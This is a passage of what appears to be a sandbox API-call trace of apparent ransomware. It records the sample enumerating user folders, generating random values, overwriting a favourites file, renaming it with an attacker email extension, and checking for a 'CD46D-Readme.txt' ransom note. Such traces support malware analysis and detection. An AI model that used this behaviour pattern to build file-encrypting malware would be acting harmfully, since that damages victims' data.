HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security" [0147.062] wcscat (in: _Dest=0x9345d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\" [0147.062] wcscat (in: _Dest=0x9345d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*" [0147.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9107b0 [0147.062] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b778 [0149.201] wcscmp (_String1=".", _String2=".") returned 0 [0149.201] FindNextFileW (in: hFindFile=0x93b778, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.201] wcscmp (_String1="..", _String2=".") returned 1 [0149.201] wcscmp (_String1="..", _String2="..") returned 0 [0149.201] FindNextFileW (in: hFindFile=0x93b778, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.201] FindClose (in: hFindFile=0x93b778 | out: hFindFile=0x93b778) returned 1 [0149.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9107b0) returned 1 [0149.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9345d0) returned 1 [0149.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ade88) returned 1 Thread: id = 2661 os_tid = 0x1634 [0147.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9acd08 [0147.063] wcscpy (in: _Dest=0x9acd08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp" [0147.063] wcscat (in: _Dest=0x9acd08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\" [0147.063] wcscat (in: _Dest=0x9acd08, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*" [0147.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9113b8 [0147.063] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b738 [0149.109] wcscmp (_String1=".", _String2=".") returned 0 [0149.109] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.109] wcscmp (_String1="..", _String2=".") returned 1 [0149.109] wcscmp (_String1="..", _String2="..") returned 0 [0149.109] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0149.109] wcscmp (_String1="si", _String2=".") returned 1 [0149.109] wcscmp (_String1="si", _String2="..") returned 1 [0149.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9adac8 [0149.109] wcscpy (in: _Dest=0x9adac8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp" [0149.109] wcscat (in: _Dest=0x9adac8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\" [0149.109] wcscat (in: _Dest=0x9adac8, _Source="si" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si" [0152.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9adac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0 [0152.852] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0152.852] FindClose (in: hFindFile=0x93b738 | out: hFindFile=0x93b738) returned 1 [0152.852] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9113b8) returned 1 [0152.852] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acd08) returned 1 [0152.852] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abab0) returned 1 Thread: id = 2662 os_tid = 0x1638 [0147.064] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0148.105] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x20) returned 1 [0148.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x133c [0148.106] GetFileSizeEx (in: hFile=0x133c, lpFileSize=0x959fb34 | out: lpFileSize=0x959fb34*=133) returned 1 [0148.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0148.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945668 [0148.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9456b8 [0148.106] NtQuerySystemTime (in: CurrentTime=0x959fa94 | out: CurrentTime=0x959fa94*=132174899227234000) returned 0x0 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x5f3e945 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x466c9ff9 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x4431e848 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x19e6de97 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x6a6c015a [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x7cb3f67b [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x593195d7 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x60e7ac0d [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x39007ae9 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x472da11e [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x36597ed2 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x7d19e019 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x3b58ab0c [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x62c1a8f9 [0148.106] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x4f29ffc8 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x7d3fe244 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x4831bb59 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x58d1398b [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x66ef84cd [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x51b298c2 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0xb33eab8 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x4241a57f [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x3260b578 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x57625ccc [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x342e3df0 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x13900161 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x2dab9a98 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x41fb8b4c [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x1c387fc2 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x9421e46 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x788ed8c5 [0148.107] RtlRandomEx (in: Seed=0x959faa0 | out: Seed=0x959faa0) returned 0x486d68b [0148.120] ReadFile (in: hFile=0x133c, lpBuffer=0xd494048, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x959fa90, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesRead=0x959fa90*=0x85, lpOverlapped=0x0) returned 1 [0148.121] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.121] WriteFile (in: hFile=0x133c, lpBuffer=0xd4a0850*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x959fa8c, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesWritten=0x959fa8c*=0x85, lpOverlapped=0x0) returned 1 [0148.804] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0148.804] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0c8 [0148.804] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0148.804] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0148.804] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0148.808] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c530) returned 1 [0148.808] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0148.808] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8928 [0148.808] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.808] WriteFile (in: hFile=0x133c, lpBuffer=0x8fa890*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x959faf4, lpOverlapped=0x0 | out: lpBuffer=0x8fa890*, lpNumberOfBytesWritten=0x959faf4*=0x10b, lpOverlapped=0x0) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945668) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945758) returned 1 [0149.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456e0) returned 1 [0149.455] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xce) returned 0x8dcee0 [0149.455] wcscpy (in: _Dest=0x8dcee0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" [0149.455] wcscat (in: _Dest=0x8dcee0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.mailto[2Hamlampampom@cock.li].cd46d" [0149.455] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x959faac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0149.455] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbf08 [0149.456] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbf08) returned 1 [0149.456] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd445818) returned 1 [0149.456] NtQueryInformationFile (in: FileHandle=0x133c, IoStatusBlock=0x959fab8, FileInformation=0x959fa90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x959fab8, FileInformation=0x959fa90) returned 0x0 [0149.456] NtSetInformationFile (FileHandle=0x133c, IoStatusBlock=0x959fab8, FileInformation=0x959fa90, Length=0x28, FileInformationClass=0x4) returned 0x0 [0149.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcee0) returned 1 [0149.459] FlushFileBuffers (hFile=0x133c) returned 1 [0149.485] CloseHandle (hObject=0x133c) returned 1 [0149.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac008 [0149.486] wcscpy (in: _Dest=0x9ac008, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0149.486] wcscat (in: _Dest=0x9ac008, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\CD46D-Readme.txt" [0149.486] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\cd46d-readme.txt")) returned 0x20 [0150.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac008) returned 1 [0150.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7838) returned 1 Thread: id = 2695 os_tid = 0x16bc [0147.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff488 [0147.701] wcscpy (in: _Dest=0x8ff488, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" [0147.701] wcscat (in: _Dest=0x8ff488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\" [0147.701] wcscat (in: _Dest=0x8ff488, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*" [0147.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ed60 [0147.701] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0147.701] wcscmp (_String1=".", _String2=".") returned 0 [0147.701] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.701] wcscmp (_String1="..", _String2=".") returned 1 [0147.701] wcscmp (_String1="..", _String2="..") returned 0 [0147.702] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.702] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0147.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed60) returned 1 [0147.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff488) returned 1 [0147.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff608) returned 1 Thread: id = 2696 os_tid = 0x16c0 [0147.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99df08 [0147.703] wcscpy (in: _Dest=0x99df08, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" [0147.703] wcscat (in: _Dest=0x99df08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\" [0147.703] wcscat (in: _Dest=0x99df08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*" [0147.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ed60 [0147.703] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0147.704] wcscmp (_String1=".", _String2=".") returned 0 [0147.704] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.704] wcscmp (_String1="..", _String2=".") returned 1 [0147.704] wcscmp (_String1="..", _String2="..") returned 0 [0147.704] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0147.704] wcscmp (_String1="en-US", _String2=".") returned 1 [0147.704] wcscmp (_String1="en-US", _String2="..") returned 1 [0147.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8d58 [0147.704] wcscpy (in: _Dest=0x8f8d58, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" [0147.704] wcscat (in: _Dest=0x8f8d58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\" [0147.704] wcscat (in: _Dest=0x8f8d58, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0149.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f8d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0149.344] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", 